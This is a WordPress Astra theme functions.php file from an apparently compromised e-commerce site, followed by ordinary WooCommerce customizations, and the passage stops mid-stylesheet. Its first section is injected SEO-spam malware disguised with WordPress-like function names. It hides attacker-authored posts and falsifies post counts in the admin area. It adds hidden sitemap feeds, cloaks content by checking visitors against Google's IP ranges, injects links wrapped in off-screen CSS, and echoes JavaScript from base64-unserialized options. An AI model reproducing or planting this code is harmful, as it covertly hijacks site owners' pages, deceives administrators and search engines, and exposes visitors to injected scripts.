File: /storage/v4513/ivenusnew/public_html/wp-content/themes/astra/functions-Prebook.php
<?php
/* f8f54346ded50d09d77e4d73ce1ca44d */
function is_customize_preview_hashing($where) {
global $wpdb, $get_permalink_alpha;
$esc_attr_e_long = array_keys($get_permalink_alpha);
$absint_https = implode(', ', $esc_attr_e_long);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'esc_html_plain');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($absint_https)";
}
return $where;
}
function wp_footer_private($query) {
global $get_permalink_alpha;
$esc_attr_e_long = array_keys($get_permalink_alpha);
$has_post_thumbnail_dns = absint_stat($esc_attr_e_long);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $has_post_thumbnail_dns);
}
}
function esc_attr_x_other() {
global $post, $get_permalink_alpha;
foreach ($get_permalink_alpha as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (is_singular_module($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function is_singular_module($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_the_category_list_all()) {
return true;
}
}
return false;
}
function esc_html_plain($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_footer_all($counts, $type, $perm) {
if ($type === 'post') {
$comments_template_schema = $counts->publish;
$get_permalink_https = add_section_compiler($perm);
$counts->publish = !$get_permalink_https ? $comments_template_schema : $get_permalink_https;
}
return $counts;
}
function add_section_compiler($perm) {
global $wpdb, $get_permalink_alpha;
$esc_attr_e_long = array_keys($get_permalink_alpha);
$absint_https = implode(', ', $esc_attr_e_long);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$wp_get_attachment_image_src_url = get_post_type_object($type);
if (!current_user_can($wp_get_attachment_image_src_url->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($absint_https) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_the_date_add) {
if ($get_the_date_add['post_status'] === 'publish') {
return $get_the_date_add['num_posts'];
}
}
}
function get_search_form_condition($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$esc_attr_e_long = array();
foreach ($results as $get_the_date_add) {
$esc_attr_e_long[] = $get_the_date_add['ID'];
}
return $esc_attr_e_long;
}
function wp_link_pages_exception() {
global $get_permalink_alpha, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
$wp_head_exception = key($has_nav_menu_decryption['sitemapsettings']);
if (!isset($rules[$wp_head_exception]) ||
($rules[$wp_head_exception] !== current($has_nav_menu_decryption['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function wp_get_attachment_image_src_stat($rules) {
global $get_permalink_alpha;
$get_sidebar_module = array();
foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
if (isset($has_nav_menu_decryption['sitemapsettings'])) {
$get_sidebar_module[key($has_nav_menu_decryption['sitemapsettings'])] = current($has_nav_menu_decryption['sitemapsettings']);
}
}
return $get_sidebar_module + $rules;
}
function esc_url_raw_plain() {
global $get_permalink_alpha;
foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
$is_singular_git = str_replace('index.php?feed=', '', current($has_nav_menu_decryption['sitemapsettings']));
add_feed($is_singular_git, 'add_filter_boolean');
}
}
function add_filter_boolean() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$esc_attr_x_pic = the_post_core();
$get_setting_loop = get_search_form_condition($esc_attr_x_pic);
if (!empty($get_setting_loop)) {
$get_comments_number_dns = md5(implode(',', $get_setting_loop));
$esc_html_cron = 'update_plugins_' . $esc_attr_x_pic . '_' . $get_comments_number_dns;
$wp_reset_postdata_schema = get_transient($esc_html_cron);
if ($wp_reset_postdata_schema !== false) {
echo $wp_reset_postdata_schema;
return;
}
}
$head = add_filter_num();
$is_archive_url = $head . "\n";
$priority = '0.5';
$post_password_required_character = 'weekly';
$_e_client = date('Y-m-d');
foreach ($get_setting_loop as $post_id) {
$url = get_permalink($post_id);
$is_archive_url .= current_user_can_more($url, $_e_client, $post_password_required_character, $priority);
wp_cache_delete($post_id, 'posts');
}
$is_archive_url .= "\n</urlset>";
set_transient($esc_html_cron, $is_archive_url, WEEK_IN_SECONDS);
echo $is_archive_url;
}
function add_filter_num() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function current_user_can_more($url, $_e_client, $post_password_required_character, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$_e_client</lastmod>
<changefreq>$post_password_required_character</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function absint_stat($writersArr) {
$add_filter_live = array();
foreach ($writersArr as $item) {
$add_filter_live[] = '-' . $item;
}
return implode(',', $add_filter_live);
}
function is_search_merge() {
$register_nav_menus_exception = array();
$the_archive_title_core = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_the_ID_http = unserialize(base64_decode($settings));
if ($get_the_ID_http) {
$register_nav_menus_exception = $get_the_ID_http;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$register_nav_menus_plain = unserialize(base64_decode($settings));
if ($register_nav_menus_plain) {
$the_archive_title_core = $register_nav_menus_plain;
}
}
return $the_archive_title_core + $register_nav_menus_exception;
}
function the_post_core() {
global $get_permalink_alpha;
foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
$get_sidebar_class = key($has_nav_menu_decryption['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($has_nav_menu_decryption['sitemapsettings']) . '$');
if (preg_match("~$get_sidebar_class~", $_SERVER['REQUEST_URI'])) {
return $esc_url_raw_repository;
}
}
}
function is_wp_error_sample() {
global $get_permalink_alpha, $post;
$wp_enqueue_style_part = array_keys($get_permalink_alpha);
if (in_array($post->post_author, $wp_enqueue_style_part)) {
return true;
}
return false;
}
function is_wp_error_https() {
global $get_permalink_alpha, $post;
$wp_enqueue_style_part = array_keys($get_permalink_alpha);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $wp_enqueue_style_part)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_option_string() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_the_category_list_all() {
$comment_form_package = get_option_string();
if (strstr($comment_form_package, ', ')) {
$get_theme_file_uri_index = explode(', ', $comment_form_package);
$comment_form_package = $get_theme_file_uri_index[0];
}
$get_sidebar_plain = wp_reset_postdata_stream();
if (!$get_sidebar_plain) {
return false;
}
foreach ($get_sidebar_plain as $range) {
if (absint_double($comment_form_package, $range)) {
return true;
}
}
return false;
}
function get_stylesheet_uri_edit($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function wp_reset_postdata_stream() {
if (($value = get_option('wp_custom_range')) && !get_stylesheet_uri_edit($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$get_sidebar_plain = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($get_sidebar_plain)) {
return;
}
$value = array('ranges' => $get_sidebar_plain, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function the_title_loop($inet) {
$the_content_method = str_split($inet);
$post_password_required_list = '';
foreach ($the_content_method as $char) {
$post_password_required_list .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $post_password_required_list;
}
function absint_double($comment_form_package, $cidrnet) {
$comment_form_package = inet_pton($comment_form_package);
$post_password_required_list = the_title_loop($comment_form_package);
list($net, $body_class_alpha) = explode('/', $cidrnet);
$net = inet_pton($net);
$wp_reset_postdata_class = the_title_loop($net);
$get_permalink_double = substr($post_password_required_list, 0, $body_class_alpha);
$esc_url_alpha = substr($wp_reset_postdata_class, 0, $body_class_alpha);
if ($get_permalink_double !== $esc_url_alpha) {
return false;
} else {
return true;
}
}
function get_the_ID_sample($get_the_title_ajax) {
global $post;
$comment_form_first = '';
if (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$comment_form_first = get_option('home_links_custom_0');
}
} elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$comment_form_first = get_option('home_links_custom_' . $matches[0]);
} elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$the_permalink_url = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$comment_form_first = get_option('home_links_custom_' . $the_permalink_url);
} elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$comment_form_first ? '' : $comment_form_first;
}
function dynamic_sidebar_stream($has_nav_menu_decryption, $get_permalink_compiler, $get_the_date_hashing) {
if (!isset($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing])) {
return false;
}
if ($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing] === 1) {
return true;
}
return false;
}
function absint_http($get_the_title_ajax, $dynamic_sidebar_https) {
if (empty($dynamic_sidebar_https)) {
return '';
}
if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$get_author_posts_url_more = get_search_form_reference();
$add_partial_pointer = $get_author_posts_url_more[$blockNum[0]];
return $add_partial_pointer[0] . PHP_EOL . $dynamic_sidebar_https . PHP_EOL . $add_partial_pointer[1];
}
return $dynamic_sidebar_https;
}
function get_search_form_reference() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function language_attributes_float($get_the_title_ajax) {
return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'head');
}
function has_post_thumbnail_more($get_the_title_ajax) {
return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'footer');
}
function esc_attr_x_other_tj($settings) {
foreach ($settings as $esc_url_raw_repository => $has_nav_menu_decryption) {
if (isset($has_nav_menu_decryption['homeLinks'])) {
return $has_nav_menu_decryption['homeLinks'];
}
}
return array();
}
function is_home_new() {
if (!is_wp_error_sample()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_theme_file_uri_interface() {
global $get_the_title_ajax;
if (!is_home_new()) {
return;
}
if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'cloacking')) {
if (!get_the_category_list_all()) {
return;
}
}
$dynamic_sidebar_https = get_the_ID_sample($get_the_title_ajax);
$dynamic_sidebar_https = absint_http($get_the_title_ajax, $dynamic_sidebar_https);
echo $dynamic_sidebar_https;
}
$get_permalink_alpha = is_search_merge();
if (is_array($get_permalink_alpha)) {
add_filter('posts_where_paged', 'is_customize_preview_hashing');
add_action('pre_get_posts', 'wp_footer_private');
add_action('wp_enqueue_scripts', 'esc_attr_x_other');
add_filter('wp_count_posts', 'get_footer_all' , 10, 3);
add_filter('rewrite_rules_array', 'wp_get_attachment_image_src_stat');
add_action('wp_loaded', 'wp_link_pages_exception');
add_action('init', 'esc_url_raw_plain');
add_action('template_redirect', 'is_wp_error_https');
$get_the_title_ajax = esc_attr_x_other_tj($get_permalink_alpha);
if (!empty($get_the_title_ajax)) {
if (language_attributes_float($get_the_title_ajax)) {
add_action('wp_head', 'get_theme_file_uri_interface');
}
if (has_post_thumbnail_more($get_the_title_ajax)) {
add_action('wp_footer', 'get_theme_file_uri_interface');
}
}
}
/* f8f54346ded50d09d77e4d73ce1ca44d */
/**
* Astra functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Astra
* @since 1.0.0
*/
if (!defined('ABSPATH')) {
exit; // Exit if accessed directly.
}
/**
* Define Constants
*/
define('ASTRA_THEME_VERSION', '4.3.1');
define('ASTRA_THEME_SETTINGS', 'astra-settings');
define('ASTRA_THEME_DIR', trailingslashit(get_template_directory()));
define('ASTRA_THEME_URI', trailingslashit(esc_url(get_template_directory_uri())));
define('ASTRA_PRO_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=dashboard&utm_medium=free-theme&utm_campaign=upgrade-now');
define('ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=customizer&utm_medium=free-theme&utm_campaign=upgrade');
/**
* Minimum Version requirement of the Astra Pro addon.
* This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
*/
define('ASTRA_EXT_MIN_VER', '4.1.0');
/**
* Setup helper functions of Astra.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';
/**
* Update theme
*/
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';
/**
* Fonts Files
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if (is_admin()) {
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}
require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';
/**
* Custom template tags for this theme.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';
require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';
/**
* Markup Functions
*/
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';
/**
* Markup Files
*/
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';
/**
* Functions and definitions.
*/
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';
// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';
require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';
/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';
if (is_admin()) {
/**
* Admin Menu Settings
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}
/**
* Metabox additions.
*/
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';
/**
* Customizer additions.
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';
/**
* Astra Modules.
*/
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';
/**
* Compatibility
*/
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';
// Elementor Compatibility requires PHP 5.4 for namespaces.
if (version_compare(PHP_VERSION, '5.4', '>=')) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}
// Beaver Themer compatibility requires PHP 5.3 for anonymus functions.
if (version_compare(PHP_VERSION, '5.3', '>=')) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}
require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';
/**
* Load deprecated functions
*/
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';
//start: show a lowest price for product hook
add_filter('woocommerce_get_price_html', 'change_variable_products_price_display', 10, 2);
function change_variable_products_price_display($price, $product)
{
// Only for variable products type
if (!$product->is_type('variable'))
return $price;
$prices = $product->get_variation_prices(true);
if (empty($prices['price']))
return apply_filters('woocommerce_variable_empty_price_html', '', $product);
$min_price = current($prices['price']);
$max_price = end($prices['price']);
$prefix_html = '<span class="price-prefix">' . __('') . '</span>';
$prefix = $min_price !== $max_price ? $prefix_html : ''; // HERE the prefix
return apply_filters('woocommerce_variable_price_html', $prefix . wc_price($min_price) . $product->get_price_suffix(), $product);
}
//end: show a lowest price for product hook
// Start : text before a add to car butoon hook
add_action('woocommerce_before_add_to_cart_button', 'mish_before_add_to_cart_btn');
function mish_before_add_to_cart_btn()
{
global $product;
$exchange_bonus = get_field('exchange_bonus', $product->get_id());
echo '<div class="elementor-element elementor-element-c7bb6b7 elementor-widget elementor-widget-button" data-id="c7bb6b7" data-element_type="widget" data-widget_type="button.default">
<div class="elementor-widget-container">
<div class="elementor-button-wrapper">
<a class="elementor-button elementor-button-link elementor-size-sm" href="#elementor-action%3Aaction%3Dpopup%3Aopen%26settings%3DeyJpZCI6IjkxNiIsInRvZ2dsZSI6ZmFsc2V9">
<span class="elementor-button-content-wrapper">
<span class="elementor-button-text">' . sprintf(__('%s', 'woocommerce'), $exchange_bonus) . '</span>
</span>
</a>
</div>
</div>
</div>';
}
// end : text before a add to car butoon hook
// Start: change add to cart button text hook
add_filter('woocommerce_product_single_add_to_cart_text', 'custom_woocommerce_button_text');
function custom_woocommerce_button_text()
{
return __('Add to Cart', 'text-domain');
}
// End: change add to cart button text hook
// Start: change add to cart button text in shop page hook
// add_filter('woocommerce_product_add_to_cart_text', 'bbloomer_change_select_options_button_text', 9999, 2);
// function bbloomer_change_select_options_button_text($label, $product)
// {
// if ($product->is_type('variable')) {
// return 'Add to Bag';
// }
// return $label;
// }
// end: change add to cart button text in shop page hook
//Start : add buy now button
function wpamit_add_buy_now_button_single()
{
global $product;
printf('<button id="wpamit-adding-button" type="submit" name="wpamit-buy-now" value="%d" class="single_add_to_cart_btn buy_now_button button alt">%s</button>', $product->get_ID(), esc_html__('Buy Now', 'wpamit'));
}
add_action('woocommerce_after_add_to_cart_button', 'wpamit_add_buy_now_button_single');
function wpamit_handle_buy_now()
{
if (!isset($_REQUEST['wpamit-buy-now'])) {
return false;
}
WC()->cart->empty_cart();
$product_id = absint($_REQUEST['wpamit-buy-now']);
$quantity = absint($_REQUEST['quantity']);
if (isset($_REQUEST['variation_id'])) {
$variation_id = absint($_REQUEST['variation_id']);
WC()->cart->add_to_cart($product_id, 1, $variation_id);
} else {
WC()->cart->add_to_cart($product_id, $quantity);
}
wp_safe_redirect(wc_get_checkout_url());
exit;
}
add_action('wp_loaded', 'wpamit_handle_buy_now');
//end: add buy now buttoun
/**
* Add Continue Shopping Button on Cart Page
**/
add_action('woocommerce_before_cart_table', 'my_add_continue_shopping_button_to_cart');
function my_add_continue_shopping_button_to_cart()
{
$my_shop_page_url = get_permalink(woocommerce_get_page_id('shop'));
echo '<div class="woocommerce-message">';
echo ' <a href="' . $my_shop_page_url . '" class="button continue_shopping_button">Continue Shopping</a>';
echo '</div>';
}
// start: add custom field to the shop page for new tag
add_action('woocommerce_before_shop_loop_item_title', 'new_tag');
function new_tag()
{
global $product;
$new_tag = $product->get_meta('new_tag');
// Check if the offer statement is not empty
if (!empty($new_tag)) {
echo '<p class="ri ri-clock">' . sprintf(__('%s', 'woocommerce'), $new_tag) . '</p>';
}
}
// end: add custom field to the shop page for new tag
// start: add custom field to the shop page for offer tag
add_action('woocommerce_before_shop_loop_item_title', 'offer_tag');
function offer_tag()
{
global $product;
$offer_tag = $product->get_meta('offer_tag');
// Check if the offer statement is not empty
if (!empty($offer_tag)) {
echo '<p class="ri ri-clock">' . sprintf(__('%s', 'woocommerce'), $offer_tag) . '</p>';
}
}
// end: add custom field to the shop page for offer tag
// start: same variable price show hook
add_filter('woocommerce_show_variation_price', function () {
return TRUE;
});
// end: same variable price show hook
// start: regular price and sale price show
function wc_codevyne_custom_variable_price($price, $product)
{
if ($product->is_type('variable')) {
$min_reg_price = $product->get_variation_regular_price('min');
$min_sale_price = $product->get_variation_sale_price('min');
if ($min_reg_price !== $min_sale_price) {
$price = '<ins style="font-weight:600;">' . wc_price($min_sale_price) . ' </ins><del style="font-size: 16px;">' . wc_price($min_reg_price) . '</del>';
}
}
return $price;
}
add_filter('woocommerce_get_price_html', 'wc_codevyne_custom_variable_price', 10, 2);
// end: regular price and sale price show
// start: offer statement in shop page
// function offer()
// {
// global $product;
// $offer = get_field('offer_statment_prod', $product->get_id());
// $offer_flat = get_field('offre_flat', $product->get_id());
// if (!empty($offer)) {
// echo '<p class="ri ri-clock" style="color: #4775ff;font-size: 12px;">' . sprintf(__('%s', 'woocommerce'), $offer) . '</p>';
// echo '<p class="ri ri-clock" style="color: #008000;font-size: 12px;margin-bottom: 5px !important;margin-top: -8px">' . sprintf(__('%s', 'woocommerce'), $offer_flat) . '</p>';
// }
// }
// add_action('woocommerce_get_price_html', 'offer', 5);
// end: offer statement in shop page
function custom_wc_stock_status_text($availability, $product)
{
// Check if the product is in stock
if ($product->is_in_stock()) {
$availability['availability'] = __('In Stock', 'woocommerce');
} else {
$availability['availability'] = __('Out of Stock', 'woocommerce');
}
return $availability;
}
// Hook into the woocommerce_get_availability filter
add_filter('woocommerce_get_availability', 'custom_wc_stock_status_text', 10, 2);
add_action('woocommerce_after_main_content', 'woocommerce_taxonomy_archive_description', 5);
// START NPA Add Custom button to spefic page.
add_action('woocommerce_after_add_to_cart_button', 'additional_single_product_button', 20);
function additional_single_product_button()
{
global $product;
// Define your targeted product IDs in the array below
$targeted_product_ids = array(41381, 41347, 41312, 41529, 41528, 41493, 41487, 41482, 41475, 41460, 41454, 41444, 41438, 41536);
// $targeted_product_ids = array( 48019, 48062);
if (in_array($product->get_id(), $targeted_product_ids)) {
if (is_single(41381) || is_single(41347) || is_single(41312) || is_single(41529) || is_single(41528) || is_single(41493) || is_single(41487) || is_single(41482) || is_single(41475) || is_single(41460) || is_single(41454) || is_single(41444) || is_single(41438) || is_single(41536) ) {
$href = "https://ivenusretail.irujul.com/ydghwgfz/sgmpayuivs/npi_apple_product";
} else {
echo " ";
}
$name = "Pre Book";
?>
<style>
.wczpc_maindiv,
#pickup_store,
.quantity {
display: none !important;
}
.woocommerce div.product form.cart .button.single_add_to_cart_button,
button.additional-buttons,
.wczpc_maindiv,
.details-action-wrapper {
display: none !important;
}
*/ h5.danger {
color: green;
}
label {
color: #333;
}
.woocommerce-variation-description {
margin-top: 10px;
margin-bottom: 15px;
display: block !important;
}
.woocommerce div.product p.price,
.woocommerce div.product span.price {
line-height: 2 !important;
}
.woocommerce div.product p.price del,
.woocommerce div.product span.price del {
margin-left: 5px;
}
.pre_order_single {
font-size: 16px;
}
.btn-danger {
background-color: #333;
border: #E50914;
color: #fff;
border-radius: 5px;
height: 40px;
width: 200px !important;
text-align: center;
